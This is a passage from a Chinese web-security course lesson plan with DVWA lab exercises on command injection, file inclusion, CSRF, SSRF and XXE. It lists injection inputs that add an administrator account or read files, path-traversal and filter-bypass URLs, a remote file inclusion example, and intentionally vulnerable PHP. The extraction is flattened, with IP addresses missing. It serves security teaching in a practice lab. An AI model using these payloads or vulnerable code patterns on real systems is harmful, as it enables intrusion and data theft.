)因未過(guò)濾用戶輸入導(dǎo)致數(shù)據(jù)庫(kù)被篡改,服務(wù)中斷,網(wǎng)絡(luò)安全是數(shù)字時(shí)代的國(guó)防安全。2.樹(shù)立服務(wù)意識(shí),塑造職業(yè)精神,使學(xué)生形成運(yùn)用所學(xué)專業(yè)知識(shí)為社會(huì)貢獻(xiàn)的責(zé)任感。3.鍛煉學(xué)生實(shí)事求是的工作態(tài)度,培養(yǎng)學(xué)生嚴(yán)謹(jǐn)細(xì)致的工作作風(fēng)、精益求精的工匠精神。教學(xué)實(shí)施過(guò)程課前:平臺(tái)發(fā)布Web攻防基礎(chǔ)任務(wù)3任務(wù)4學(xué)習(xí)任務(wù),學(xué)生預(yù)習(xí)。課中:導(dǎo)入新課小林發(fā)現(xiàn)校園某個(gè)Web網(wǎng)站未對(duì)用戶輸入內(nèi)容進(jìn)行過(guò)濾,從而使用戶可以控制命令執(zhí)行函數(shù)的參數(shù),用戶可以注入惡意系統(tǒng)命令到正常命令中,造成命令攻擊,可導(dǎo)致隨意執(zhí)行系統(tǒng)命令的風(fēng)險(xiǎn)。小林經(jīng)過(guò)檢查,發(fā)現(xiàn)其風(fēng)險(xiǎn)巨大,并給該網(wǎng)站提供了命令執(zhí)行漏洞的防御機(jī)制。任務(wù)三知識(shí)點(diǎn)講解1.命令執(zhí)行漏洞的概念與危害命令執(zhí)行漏洞允許攻擊者通過(guò)Web應(yīng)用程序在服務(wù)器上執(zhí)行任意操作系統(tǒng)命令。如PHP中的system、exec、shell_exec等,當(dāng)用戶可以控制命令執(zhí)行函數(shù)中的參數(shù)時(shí),可注入惡意系統(tǒng)命令到正常命令中,造成命令執(zhí)行攻擊。命令執(zhí)行漏洞的危害非常大,shell_exec()等函數(shù)的作用就是可以在PHP中執(zhí)行操作系統(tǒng)的命令,也就相當(dāng)于直接獲得了系統(tǒng)級(jí)的Shell,因而命令執(zhí)行漏洞的威力相比SQL注入要大多了。試想一下,如果將ipconfig命令更換成netuserhacker123/add,就可以增加hacker用戶,可以繼續(xù)通過(guò)命令netlocalgroupadministratorshacker/add賦予管理員權(quán)限,通過(guò)該用戶就可以控制服務(wù)器。雖然添加用戶需要該Web系統(tǒng)有管理員權(quán)限,但這也說(shuō)明了命令執(zhí)行漏洞的危害之大。2.php命令執(zhí)行函數(shù)PHP命令執(zhí)行函數(shù)常配合代碼執(zhí)行漏洞使用,利用命令執(zhí)行函數(shù)執(zhí)行操作系統(tǒng)命令,從而發(fā)起攻擊,接下來(lái)就簡(jiǎn)單介紹幾個(gè)常用的PHP命令執(zhí)行函數(shù)。(1)system()函數(shù)可以執(zhí)行系統(tǒng)命令,并將命令執(zhí)行的結(jié)果直接輸出到界面中。(2)exec()函數(shù)可以執(zhí)行系統(tǒng)命令,但它不會(huì)直接輸出結(jié)果,而是將執(zhí)行的結(jié)果保存到數(shù)組中。shell_exec()函數(shù)可以執(zhí)行系統(tǒng)命令,但它不會(huì)直接輸出執(zhí)行的結(jié)果,而是返回一個(gè)字符串類型的變量來(lái)存儲(chǔ)系統(tǒng)命令的執(zhí)行結(jié)果,在參數(shù)中傳遞需要執(zhí)行的系統(tǒng)命令即可。(3)passthru()函數(shù)可以執(zhí)行系統(tǒng)命令,并將執(zhí)行結(jié)果輸出到頁(yè)面中,與system()函數(shù)不同的是,它支持二進(jìn)制的數(shù)據(jù),更多的用于文件,圖片等操作,使用時(shí)直接在參數(shù)中傳遞字符串類型的系統(tǒng)命令即可。在DVWA系統(tǒng)中選擇DVWASecurity的“l(fā)ow”級(jí)別,然后單擊“CommandInjection”導(dǎo)航欄,在文本框中輸入“”、“&ipconfig”,出現(xiàn)如圖7-20、7-21所示的輸出結(jié)果,就是系統(tǒng)存在命令執(zhí)行漏洞造成的結(jié)果。這一功能的PHP代碼如下。<?php<?phpif(isset($_POST[‘submit’])){$target=$_REQUEST[‘ip’];if(stristr(php_uname(‘s’),’WindowsNT’)){ $cmd=shell_exec(‘ping’.$target); echo‘<pre>’.$cmd.’</pre>’; }else{ $cmd=shell_exec(‘ping-c3’.$target); echo‘<pre>’.$cmd.’</pre>’;}}?>這段代碼的作用是接收前端提交的數(shù)據(jù),然后執(zhí)行shell_exec()函數(shù),其中前端提交的數(shù)據(jù)作為shell_exec()函數(shù)參數(shù)的一部分。shell_exec()函數(shù)的功能是通過(guò)shell環(huán)境執(zhí)行命令,并且將完整的輸出以字符串的方式返回。3.命令執(zhí)行漏洞的原理與防范操作系統(tǒng)命令可以連接執(zhí)行是命令執(zhí)行漏洞存在的前提條件。無(wú)論是在Windows操作系統(tǒng)還是Linux操作系統(tǒng)之中,都可以通過(guò)管道符支持連續(xù)執(zhí)行命令。表7-1所示是Windows與Linux操作系統(tǒng)的管道符。表7-1常見(jiàn)操作系統(tǒng)管道符Windows管道符Linux管道符作用||前面命令輸出結(jié)果作為后面命令的輸入||||前面命令執(zhí)行失敗時(shí)才執(zhí)行后面的命令&&或;前面命令執(zhí)行后接著執(zhí)行后面的命令&&&&前面命令執(zhí)成功了才執(zhí)行后面的命令另外還可以使用重定向(>)在服務(wù)器中生成文件,或是使用<從事先準(zhǔn)備好的文件中前面命令執(zhí)行成功了才執(zhí)行后面的命令讀入命令等。清楚了命令執(zhí)行漏洞存在的原因之后,對(duì)其防范就比較簡(jiǎn)單了,主要措施具體如下。(1)盡量不使用執(zhí)行命令的函數(shù)。(2)在使用執(zhí)行命令的函數(shù)/方法的時(shí)候,對(duì)參數(shù)進(jìn)行過(guò)濾,對(duì)管道符等敏感字符進(jìn)行轉(zhuǎn)義。(3)在后臺(tái)對(duì)應(yīng)用的權(quán)限進(jìn)行控制,即使有漏洞,也不能執(zhí)行高權(quán)限命令。(4)對(duì)PHP語(yǔ)言來(lái)說(shuō),不能完全控制的危險(xiǎn)函數(shù)最好不要使用。任務(wù)三實(shí)施步驟1.命令執(zhí)行漏洞滲透測(cè)試與繞過(guò)(1)登錄DVWA系統(tǒng)在DVWA系統(tǒng)中選擇DVWASecurity的“l(fā)ow”級(jí)別,然后單擊“CommandInjection”導(dǎo)航欄,出現(xiàn)命令執(zhí)行漏洞界面,該界面的功能就是判斷是否可以Ping通設(shè)備。輸入IP地址“”,輸出結(jié)果如圖7-20所示。圖7-20DVWA命令執(zhí)行漏洞工作界面如果在文本框中輸入“&ipconfig”,將會(huì)出現(xiàn)如圖7-21所示界面。圖7-21利用DVWA命令執(zhí)行漏洞結(jié)果(2)在命令框中輸入命令查看結(jié)果①輸入:,單擊“Submit”按鈕提交并查看結(jié)果。②輸入:&ipconfig,單擊“Submit”按鈕提交并查看結(jié)果。③輸入:&&ipconfig,單擊“Submit”按鈕提交并查看結(jié)果。④輸入:|ipconfig,單擊“Submit”按鈕提交并查看結(jié)果。⑤輸入:||ipconfig,單擊“Submit”按鈕提交并查看結(jié)果。(3)利用命令執(zhí)行漏洞讀取文件及文件內(nèi)容①在輸入框中輸入:|dird:\ftp\,將看到D盤ftp文件夾中的文件(ftp為D盤下的一個(gè)文件夾),如圖7-22所示。圖7-22用命令執(zhí)行漏洞讀取文件②在輸入框中輸入:|typed:\ftp\新建文本文檔.txt(新建文本文檔.txt為ftp文件夾下的一個(gè)文件),可以讀取新建文本文檔.txt中內(nèi)容,如圖7-23所示。圖7-23命令執(zhí)行漏洞讀取文件內(nèi)容任務(wù)四知識(shí)點(diǎn)講解1.文件包含漏洞的概念文件包含是指程序開(kāi)發(fā)人員一般會(huì)把重復(fù)使用的函數(shù)寫到單個(gè)文件中,需要使用某個(gè)函數(shù)時(shí)直接調(diào)用此文件,而無(wú)需再次編寫,這種文件調(diào)用的過(guò)程一般被稱為文件包含。文件包含分為本地文件包含和遠(yuǎn)程文件包含,說(shuō)明如下。(1)當(dāng)被包含的文件在服務(wù)器本地時(shí),稱為本地文件包含。(2)當(dāng)被包含的文件在第三方服務(wù)器時(shí),稱為遠(yuǎn)程文件包含。文件包含提高代碼的重用性,相當(dāng)于將被包含的文件內(nèi)容復(fù)制到了包含處,幾乎所有的腳本語(yǔ)言都支持文件包含的功能。在PHP中提供了四個(gè)文件包含的函數(shù),用于本地文件包含,如表7-2所示。表7-2PHP的四個(gè)文件包含函數(shù)函數(shù)名稱描述include()當(dāng)使用該函數(shù)包含文件時(shí),只有代碼執(zhí)行到include()函數(shù)時(shí)才將文件包含進(jìn)來(lái),發(fā)生錯(cuò)誤時(shí)只給出一個(gè)警告,繼續(xù)向下進(jìn)行。include_once()include_once()語(yǔ)句和include()語(yǔ)句類似,唯一區(qū)別是如果該文件已經(jīng)包含過(guò),則不會(huì)再次包含,即只會(huì)包含一次。require()除處理失敗的方式不同之外,require()和include()幾乎完全一樣。require()在出錯(cuò)時(shí)產(chǎn)生(E_COMPILE_ERROR)級(jí)別的錯(cuò)誤,換句話說(shuō)將導(dǎo)致腳本中止。而include()只產(chǎn)生警告(E_WARNING),腳本會(huì)繼續(xù)運(yùn)行。require_once()require_once()語(yǔ)句和require()語(yǔ)句完全相同,唯一區(qū)別是PHP會(huì)檢查該文件是否已經(jīng)被包含過(guò),如果是,則不會(huì)再次包含。為了使代碼更加靈活,有時(shí)會(huì)將被包含的文件設(shè)置為變量,用來(lái)進(jìn)行動(dòng)態(tài)調(diào)用。由于被包含的文件設(shè)置為變量,從而可以被控制,如果對(duì)用戶輸入的參數(shù)過(guò)濾不嚴(yán),客戶端就可以調(diào)用一個(gè)惡意文件,達(dá)到惡意執(zhí)行代碼的目的,這就是文件包含漏洞。從這里可以看到文件包含漏洞的產(chǎn)生原因是通過(guò)PHP的函數(shù)引入文件時(shí),由于傳入的文件名沒(méi)有經(jīng)過(guò)合理的校驗(yàn),從而操作了預(yù)想之外的文件,導(dǎo)致意外的文件泄露甚至惡意的代碼注入。從定義當(dāng)中可以看到,文件包含漏洞存在并被利用的條件是,Web應(yīng)用程序用include()等文件包含函數(shù)通過(guò)動(dòng)態(tài)變量的形式引入需要包含的文件,用戶能夠控制該動(dòng)態(tài)變量。文件包含漏洞帶來(lái)的危害有,攻擊者可以讀取服務(wù)器上的任意文件,包括配置文件(如數(shù)據(jù)庫(kù)憑據(jù))、源代碼等。當(dāng)包含的文件是可執(zhí)行的PHP代碼時(shí),攻擊者可實(shí)現(xiàn)遠(yuǎn)程代碼執(zhí)行。結(jié)合其他漏洞,最終可能完全控制目標(biāo)主機(jī)。遠(yuǎn)程文件包含遠(yuǎn)程文件包含與本地文件包含相似,但是它允許攻擊者包含位于遠(yuǎn)程服務(wù)器上的文件,而不是本地系統(tǒng)上的文件。要成功實(shí)施RFI攻擊,攻擊者需要Web服務(wù)器的PHP配置允許通過(guò)URL包含文件,這通常依賴于allow_url_fopen或allow_url_include指令被設(shè)置為開(kāi)啟狀態(tài)。攻擊者可以利用此漏洞,提供一個(gè)惡意服務(wù)器上的URL,該URL指向包含惡意代碼的文件,當(dāng)被目標(biāo)服務(wù)器加載和執(zhí)行時(shí),就能實(shí)現(xiàn)對(duì)目標(biāo)系統(tǒng)的攻擊。本地文件包含涉及服務(wù)器上的本地文件,而遠(yuǎn)程文件包含涉及其他服務(wù)器上的文件。雖然兩者都嚴(yán)重,但遠(yuǎn)程文件包含通常被認(rèn)為風(fēng)險(xiǎn)更高,因?yàn)樗试S攻擊者直接從外部服務(wù)器引入惡意代碼執(zhí)行,增加了攻擊的靈活性和隱蔽性。遠(yuǎn)程文件包含依賴于特定的PHP配置(如allow_url_include),而本地文件包含則不依賴這些配置。以動(dòng)態(tài)加載配置文件的站點(diǎn)為例,如果用戶訪問(wèn)網(wǎng)址/index.php?page=config.php,一切正常,因?yàn)閏onfig.php是預(yù)期的一個(gè)本地配置文件。如果沒(méi)有對(duì)$configFile變量進(jìn)行任何驗(yàn)證或清理,就為攻擊者打開(kāi)了大門。攻擊者可以嘗試如下URL構(gòu)造,利用遠(yuǎn)程文件包含漏洞:/index.php?page=/hack_code.php在這個(gè)惡意請(qǐng)求中,攻擊者嘗試讓服務(wù)器去包含一個(gè)他們控制的遠(yuǎn)程服務(wù)器上的文件hack_code.php。如果服務(wù)器的PHP配置允許遠(yuǎn)程文件包含,即allow_url_include設(shè)置為On,服務(wù)器就會(huì)嘗試執(zhí)行這個(gè)遠(yuǎn)程文件中的代碼。hack_code.php可能包含任何攻擊者想要執(zhí)行的代碼,比如命令執(zhí)行、數(shù)據(jù)竊取、創(chuàng)建后門等。為了提高成功率,攻擊者可能會(huì)精心構(gòu)造這個(gè)惡意文件,使其看起來(lái)像文本文件,以繞過(guò)一些基本的安全檢查,同時(shí)確保它仍然能被目標(biāo)服務(wù)器當(dāng)作PHP代碼執(zhí)行。文件包含漏洞的防范驗(yàn)證和過(guò)濾用戶輸入:對(duì)所有來(lái)自用戶的數(shù)據(jù)進(jìn)行嚴(yán)格的驗(yàn)證和過(guò)濾,特別是那些用于構(gòu)造文件路徑的輸入??梢允褂冒酌麊畏椒?,只允許特定字符或模式通過(guò),拒絕任何包含特殊字符(如../,\等目錄跳轉(zhuǎn)符號(hào))的輸入。使用絕對(duì)路徑:盡量避免使用相對(duì)路徑來(lái)包含文件,因?yàn)橄鄬?duì)路徑容易受到目錄遍歷攻擊。使用絕對(duì)路徑可以減少被攻擊的風(fēng)險(xiǎn),確保文件包含操作僅限于預(yù)定義的安全目錄內(nèi)。限制文件訪問(wèn)范圍:設(shè)定一個(gè)嚴(yán)格控制的文件包含目錄,并確保該目錄之外的文件無(wú)法被包含或執(zhí)行??梢酝ㄟ^(guò)服務(wù)器配置或在代碼中實(shí)現(xiàn)這一限制。使用預(yù)定義變量或函數(shù):一些編程框架提供了安全的文件包含函數(shù)或方法,這些通常會(huì)自動(dòng)處理路徑清理和驗(yàn)證。例如,在PHP中,可以使用include和require函數(shù)的基類自動(dòng)轉(zhuǎn)義路徑,或者使用更安全的include_once和require_once來(lái)避免重復(fù)包含。任務(wù)四任務(wù)實(shí)施步驟1.文件包含漏洞的利用與防范(1)登錄DVWA系統(tǒng)在DVWA系統(tǒng)中選擇DVWASecurity的“l(fā)ow”級(jí)別,然后單擊“FileInclusion”菜單,出現(xiàn)如圖7-24所示。圖7-24DVWA系統(tǒng)文件包含漏洞工作界面(2)爆出系統(tǒng)絕對(duì)路徑分別單擊界面上的“file1.php”鏈接、“file2.php”鏈接、“file3.php”鏈接,除顯示不同的內(nèi)容外,URL中的page參數(shù)也有所不同。此時(shí),如果在URL中輸入一個(gè)不存在的文件,如file11.php,將爆出系統(tǒng)的絕對(duì)路徑,如圖7-25所示。圖7-25DVWA系統(tǒng)文件包含漏洞爆出絕對(duì)路徑該系統(tǒng)的絕對(duì)路徑為D:\phpstudy_pro\WWW\dvwa\vulnerabilities\fi\index.php。在此時(shí),可對(duì)文件包含漏洞的深度利用實(shí)驗(yàn),如讀取敏感文件內(nèi)容、植入木馬等進(jìn)行驗(yàn)證。①在URL中輸入/dvwa/vulnerabilities/fi/?page=01.txt,包含服務(wù)器本地當(dāng)前目錄下的文件,如圖7-26、圖7-27所示。圖7-26爆出服務(wù)器本地當(dāng)前目錄下的文件位置圖7-27爆出服務(wù)器本地當(dāng)前目錄下的文件內(nèi)容②在URL中輸入/dvwa/vulnerabilities/fi/?page=../03.txt,包含服務(wù)器本地上一級(jí)目錄的文件,如圖7-28、圖7-29所示。圖7-28爆出包含服務(wù)器本地上一級(jí)目錄的文件位置圖7-29爆出包含服務(wù)器本地上一級(jí)目錄的文件內(nèi)容③在URL中輸入/dvwa/vulnerabilities/fi/?page=../../01/02.php,包含服務(wù)器本地其他目錄的文件,進(jìn)行目錄遍歷,如圖7-30、圖7-31所示。圖7-30爆出包含服務(wù)器本地其他目錄的文件位置圖7-31爆出包含服務(wù)器本地其他目錄的文件內(nèi)容(3)繞過(guò)文件包含漏洞防范措施①在DVWASecurity中選擇“medium”選項(xiàng),并提交。然后選擇“FileInclusion”選項(xiàng),再在URL中輸入/dvwa/vulnerabilities/fi/?page=../03.txt,此時(shí)會(huì)出現(xiàn)如圖7-32所示界面。圖7-32DVWA系統(tǒng)文件包含漏洞的防范結(jié)果查看源代碼:<?php<?php//Thepagewewishtodisplay$file=$_GET['page'];//Inputvalidation$file=str_replace(array("http://","https://"),"",$file);$file=str_replace(array("../","..\""),"",$file);?>原來(lái)“../”被替換為空格,于是再在URL中輸入/dvwa/vulnerabilities/fi/?page=..././03.txt,可繞過(guò)限制。②在DVWASecurity當(dāng)中選擇“high”選項(xiàng),并提交。然后選擇“FileInclusion”選項(xiàng),分析其源代碼。<?php<?php//Thepagewewishtodisplay$file=$_GET['page'];//Inputvalidationif(!fnmatch("file*",$file)&&$file!="include.php"){ //Thisisn'tthepagewewant! echo"ERROR:Filenotfound!"; exit;}?>要求被包含的文件必須包含F(xiàn)ile字符串或者include.php,可以利用File協(xié)議進(jìn)行文件包含漏洞的利用,F(xiàn)ile協(xié)議是文件傳輸協(xié)議,可以訪問(wèn)本地計(jì)算機(jī)上的文件。在URL中輸/dvwa/vulnerabilities/fi/?page=file:///D:/phpstudy_pro/WWW/dvwa/vulnerabilities/03.txt,將輸出文件內(nèi)容,如圖7-33所示。圖7-33利用File協(xié)議讀取敏感文件(3)文件包含漏洞的有效防范在DVWASecurity當(dāng)中選擇“impossible”選項(xiàng),并提交。然后選擇“FileInclusion”選項(xiàng),查看源代碼。<?php<?php//Thepagewewishtodisplay$file=$_GET['page'];//Onlyallowinclude.phporfile{1..3}.phpif($file!="include.php"&&$file!="file1.php"&&$file!="file2.php"&&$file!="file3.php"){ //Thisisn'tthepagewewant! echo"ERROR:Filenotfound!"; exit;}?>程序嚴(yán)格限制了所包含的文件,因此不能再包含其他文件,難以利用。課后:1.任務(wù)鞏固2.教師答疑3.布置預(yù)習(xí)任務(wù)作業(yè)布置同學(xué)在DVWA系統(tǒng)中選擇DVWASecurity的“l(fā)ow”級(jí)別,然后單擊“CommandInjection”導(dǎo)航欄,在文本框中輸入“&&dir”、“&&netstat”、“1|SYSTEMINFO”、“|arp-a”、“|regedit”查看輸出結(jié)果及相關(guān)PHP代碼。2.同學(xué)們?cè)贒:/phpstudy_pro/WWW/dvwa/vulnerabilities/中創(chuàng)建一個(gè)phpinfo,php頁(yè)面,代碼如下。<?phpphpinfo();<?phpphpinfo();?>教學(xué)反思通過(guò)本節(jié)內(nèi)容講解,學(xué)生學(xué)習(xí)興趣很高,完成度好。但對(duì)命令執(zhí)行、文件包含漏洞危害理解不到位,對(duì)防御措施工程化落地缺乏認(rèn)知。需要進(jìn)一步通過(guò)案例分析和動(dòng)手實(shí)驗(yàn),以提升理解的深度和實(shí)戰(zhàn)應(yīng)用能力?!毒W(wǎng)絡(luò)安全技術(shù)實(shí)踐教程》教案授課單位:授課時(shí)間:授課班級(jí):授課教師:年月日教案17(第17號(hào)/17號(hào))課程名稱網(wǎng)絡(luò)安全授課日期、節(jié)次班級(jí)課堂類型理論+實(shí)踐地點(diǎn)章節(jié)(任務(wù))名稱任務(wù)7.5請(qǐng)求偽造漏洞任務(wù)7.6XXE漏洞教學(xué)目標(biāo)知識(shí)目標(biāo)1.掌握CSRF攻擊原理、SSRF攻擊原理。2.掌握XXEWeb實(shí)體注入原理。能力目標(biāo)1.能夠構(gòu)造惡意鏈接,利用CSRF漏洞進(jìn)行非法操作。2.能夠構(gòu)造惡意XML文檔,利用DTD引入外部實(shí)體,實(shí)現(xiàn)本地文件讀取等操作。素質(zhì)目標(biāo)1.培養(yǎng)學(xué)生精益求精的工匠精神。2.培養(yǎng)學(xué)生樹(shù)立牢固的法治觀念,提升網(wǎng)絡(luò)安全意識(shí)。學(xué)情分析授課對(duì)象:計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)專業(yè)學(xué)生,包括中職與普高混合班。學(xué)生特點(diǎn):計(jì)算機(jī)網(wǎng)絡(luò)技術(shù)專業(yè)學(xué)生,基礎(chǔ)知識(shí)存在差異,需針對(duì)性講解與實(shí)踐操作結(jié)合。學(xué)習(xí)習(xí)慣:偏愛(ài)實(shí)踐性強(qiáng)的課程,理論學(xué)習(xí)興趣較低。樂(lè)于通過(guò)案例和互動(dòng)式教學(xué)理解知識(shí)點(diǎn)。重難點(diǎn)分析教學(xué)重點(diǎn)CSRF漏洞的利用與防范。SSRF漏洞的攻擊示例。教學(xué)難點(diǎn)1.SSRF攻擊防范。2.XXE漏洞示例。信息化應(yīng)用方法通過(guò)課件、視頻、案例分析、互動(dòng)提問(wèn)等多種信息化方式,借助學(xué)習(xí)通平臺(tái)發(fā)布學(xué)習(xí)資源和任務(wù),學(xué)生自主學(xué)習(xí)并完成任務(wù)。課程思政元素1.網(wǎng)絡(luò)安全事關(guān)國(guó)家安全,培養(yǎng)學(xué)生的家國(guó)情懷與責(zé)任感。2.樹(shù)立服務(wù)意識(shí),塑造職業(yè)精神,使學(xué)生形成運(yùn)用所學(xué)專業(yè)知識(shí)為社會(huì)貢獻(xiàn)的責(zé)任感。3.鍛煉學(xué)生實(shí)事求是的工作態(tài)度,培養(yǎng)學(xué)生嚴(yán)謹(jǐn)細(xì)致的工作作風(fēng)、精益求精的工匠精神。教學(xué)實(shí)施過(guò)程課前:平臺(tái)發(fā)布Web攻防基礎(chǔ)任務(wù)3任務(wù)4學(xué)習(xí)任務(wù),學(xué)生預(yù)習(xí)。課中:導(dǎo)入新課小林發(fā)現(xiàn)校園某個(gè)Web網(wǎng)站存在請(qǐng)求偽造漏洞風(fēng)險(xiǎn),可以利用受害者尚未失效的身份認(rèn)證信息,在受害人不知情的情況下以受害者的身份向服務(wù)器發(fā)送請(qǐng)求,從而完成非法操作。小林經(jīng)過(guò)檢查,雖然請(qǐng)求偽造造成的影響相對(duì)較小,屬于低風(fēng)險(xiǎn)漏洞,但滲透測(cè)試時(shí)也應(yīng)該對(duì)其進(jìn)行仔細(xì)檢測(cè),并提出完善的防范建議。任務(wù)五知識(shí)點(diǎn)講解1.CSRF漏洞的概念跨站請(qǐng)求偽造(Cross-SiteRequestForgery,CSRF)是指攻擊者在用戶已經(jīng)登錄目標(biāo)網(wǎng)站之后,誘使用戶訪問(wèn)一個(gè)攻擊頁(yè)面,利用目標(biāo)網(wǎng)站對(duì)用戶的信任,以用戶身份在攻擊頁(yè)面對(duì)目標(biāo)網(wǎng)站發(fā)起偽造用戶操作的請(qǐng)求,達(dá)到攻擊目的??梢赃@么理解CSRF攻擊:攻擊者盜用了你的身份,以你的名義發(fā)送惡意請(qǐng)求。CSRF能夠做的事情包括以你名義發(fā)送郵件,發(fā)消息,盜取你的賬號(hào),甚至于購(gòu)買商品,虛擬貨幣轉(zhuǎn)賬等等,造成的問(wèn)題包括個(gè)人隱私泄露以及財(cái)產(chǎn)安全。2.CSRF的原理圖7-34簡(jiǎn)單闡述了CSRF攻擊的思想。圖7-34CSRF攻擊過(guò)程CSRF攻擊原理及過(guò)程如下。(1)用戶C打開(kāi)瀏覽器,訪問(wèn)受信任網(wǎng)站A,輸入用戶名和密碼請(qǐng)求登錄網(wǎng)站A。(2)在用戶信息通過(guò)驗(yàn)證后,網(wǎng)站A產(chǎn)生Cookie信息并返回給瀏覽器,此時(shí)用戶登錄網(wǎng)站A成功,可以正常發(fā)送請(qǐng)求到網(wǎng)站A。(3)用戶未退出網(wǎng)站A之前,在同一瀏覽器中,打開(kāi)一個(gè)TAB頁(yè)訪問(wèn)網(wǎng)站B。(4)網(wǎng)站B接收到用戶請(qǐng)求后,返回一些攻擊性代碼,并發(fā)出一個(gè)請(qǐng)求要求訪問(wèn)第三方站點(diǎn)A。(5)瀏覽器在接收到這些攻擊性代碼后,根據(jù)網(wǎng)站B的請(qǐng)求,在用戶不知情的情況下攜帶Cookie信息,向網(wǎng)站A發(fā)出請(qǐng)求。網(wǎng)站A并不知道該請(qǐng)求其實(shí)是由B發(fā)起的,所以會(huì)根據(jù)用戶C的Cookie信息以C的權(quán)限處理該請(qǐng)求,導(dǎo)致來(lái)自網(wǎng)站B的惡意代碼被執(zhí)行。3.SSRF漏洞的概念及形成原因服務(wù)器端請(qǐng)求偽造(Server-SideRequestForgery,SSRF)是一種由攻擊者構(gòu)造形成由服務(wù)端發(fā)起請(qǐng)求的一個(gè)安全漏洞。SSRF形成的原因大都是由于服務(wù)端提供了從其他服務(wù)器應(yīng)用獲取數(shù)據(jù)的功能,且沒(méi)有對(duì)目標(biāo)地址做過(guò)濾與限制。例如,從指定URL地址獲取網(wǎng)頁(yè)文本內(nèi)容,加載指定地址的圖片、文檔等。4.SSRF攻擊方式SSRF(Server-SideRequestForgery)攻擊方式主要包括:(1)可以對(duì)外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描,獲取一些服務(wù)的banner信息。(2)攻擊運(yùn)行在內(nèi)網(wǎng)或本地的應(yīng)用程序(如溢出)。(3)對(duì)內(nèi)網(wǎng)Web應(yīng)用進(jìn)行指紋識(shí)別,通過(guò)訪問(wèn)默認(rèn)文件實(shí)現(xiàn)。(4)攻擊內(nèi)外網(wǎng)的Web應(yīng)用,主要是使用get參數(shù)就可以實(shí)現(xiàn)的攻擊(比如struts2,sqli等)。(5)利用file協(xié)議讀取本地文件等。5.SSRF漏洞點(diǎn)挖掘?qū)ふ襍SRF漏洞的方法主要包括:(1)能夠?qū)ν獍l(fā)起網(wǎng)絡(luò)請(qǐng)求的地方,就可能存在SSRF漏洞;(2)從遠(yuǎn)程服務(wù)器請(qǐng)求資源(UploadfromURL,Import&ExportRSSfeed);(3)數(shù)據(jù)庫(kù)內(nèi)置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB);(4)Webmail收取其他郵箱郵件(POP3/IMAP/SMTP);(5)文件處理,編碼處理,屬性信息處理(ffpmg,ImageMaic,DOCX,PDF,XML處理)。6.SSRF攻擊防范SSRF攻擊者可以利用它誘使服務(wù)器端應(yīng)用程序去訪問(wèn)或查詢內(nèi)部網(wǎng)絡(luò)資源,從而獲取敏感數(shù)據(jù)、執(zhí)行未授權(quán)操作或進(jìn)行其他惡意活動(dòng)??梢圆扇∫韵聨追N策略進(jìn)行防范。(1)輸入驗(yàn)證與過(guò)濾。對(duì)所有用戶可控的URL輸入進(jìn)行嚴(yán)格的驗(yàn)證和過(guò)濾,禁止構(gòu)造指向內(nèi)部網(wǎng)絡(luò)地址的請(qǐng)求??梢允褂煤诿麊芜^(guò)濾掉常見(jiàn)的內(nèi)部IP地址段、localhost以及私有IP地址(如/8,/12,/16)。(2)白名單策略。實(shí)施URL白名單制度,只允許應(yīng)用程序向預(yù)先定義好的外部域名或IP地址發(fā)送請(qǐng)求。這種方法比黑名單更為安全,因?yàn)樗鼜母旧舷拗屏丝稍L問(wèn)的目標(biāo)范圍。(3)禁用或限制內(nèi)部網(wǎng)絡(luò)訪問(wèn)。在設(shè)計(jì)應(yīng)用時(shí),應(yīng)避免讓應(yīng)用直接向內(nèi)部網(wǎng)絡(luò)發(fā)起請(qǐng)求。如果必須訪問(wèn)內(nèi)部資源,應(yīng)通過(guò)代理服務(wù)或API網(wǎng)關(guān)進(jìn)行,且需嚴(yán)格控制訪問(wèn)權(quán)限。(4)使用外部代理服務(wù)。對(duì)于需要訪問(wèn)外部資源的場(chǎng)景,可以使用專門的代理服務(wù)或庫(kù)來(lái)發(fā)起請(qǐng)求,這樣可以隔離內(nèi)部網(wǎng)絡(luò),防止直接暴露給外部輸入。(5)資源訪問(wèn)限制與隔離。根據(jù)應(yīng)用程序的實(shí)際需求,為不同的服務(wù)或功能分配最低必要的網(wǎng)絡(luò)訪問(wèn)權(quán)限。使用網(wǎng)絡(luò)隔離和防火墻規(guī)則來(lái)限制應(yīng)用程序?qū)?nèi)部資源的訪問(wèn)。(6)日志監(jiān)控與異常檢測(cè)。建立全面的日志記錄機(jī)制,特別是對(duì)于對(duì)外部服務(wù)的請(qǐng)求,應(yīng)詳細(xì)記錄請(qǐng)求URL、源IP、時(shí)間戳等信息。結(jié)合異常檢測(cè)系統(tǒng),及時(shí)發(fā)現(xiàn)并響應(yīng)不正常的請(qǐng)求模式。任務(wù)五實(shí)施步驟1.CSRF漏洞的利用與防范(1)登錄DVWA系統(tǒng),進(jìn)入CSRF頁(yè)面在DVWA系統(tǒng)中選擇DVWASecurity的“l(fā)ow”級(jí)別,然后選擇“CSRF”選線,出現(xiàn)如圖7-35所示的工作界面。圖7-35DVWA系統(tǒng)CSRF工作界面在該界面下,可以修改admin用戶的密碼。(2)CSRF頁(yè)面功能分析該頁(yè)面用于修改登錄用戶的密碼。在Newpassword和Confirmnewpassword輸入框中,分別輸入123456,單擊“Change”按鈕,會(huì)提示“PasswordChanged”,并且在URL中顯70/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#(根據(jù)實(shí)際搭建環(huán)境輸入U(xiǎn)RL地址),如圖7-36所示,密碼變成了“123456”。很明顯,這就是修改密碼的鏈接。圖7-36DVWA系統(tǒng)CSRF界面修改密碼(3)利用CSRF漏洞進(jìn)行攻擊此時(shí),在另外一個(gè)標(biāo)簽頁(yè)的URL中輸入“70/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change#”(根據(jù)實(shí)際搭建環(huán)境輸入U(xiǎn)RL地址),如圖7-37所示,可以看到,直接跳轉(zhuǎn)到了密碼修改成功的頁(yè)面,密碼相應(yīng)變成password。在此步驟中,我們就是利用了系統(tǒng)存在的CSRF漏洞,利用尚未失效的身份認(rèn)證信息,以受害者的身份向服務(wù)器發(fā)送請(qǐng)求,從而完成修改密碼的非法操作。圖7-37利用CSRF漏洞攻擊結(jié)果(4)分析源代碼單擊界面右下角的“ViewSource”按鈕,就會(huì)看到如下源代碼。?php?phpif(
isset(
$_GET[
'Change'
]
)
)
{//
Get
input$pass_new
=
$_GET[
'password_new'
];$pass_conf
=
$_GET[
'password_conf'
];//
Do
the
passwords
match?if(
$pass_new
==
$pass_conf
)
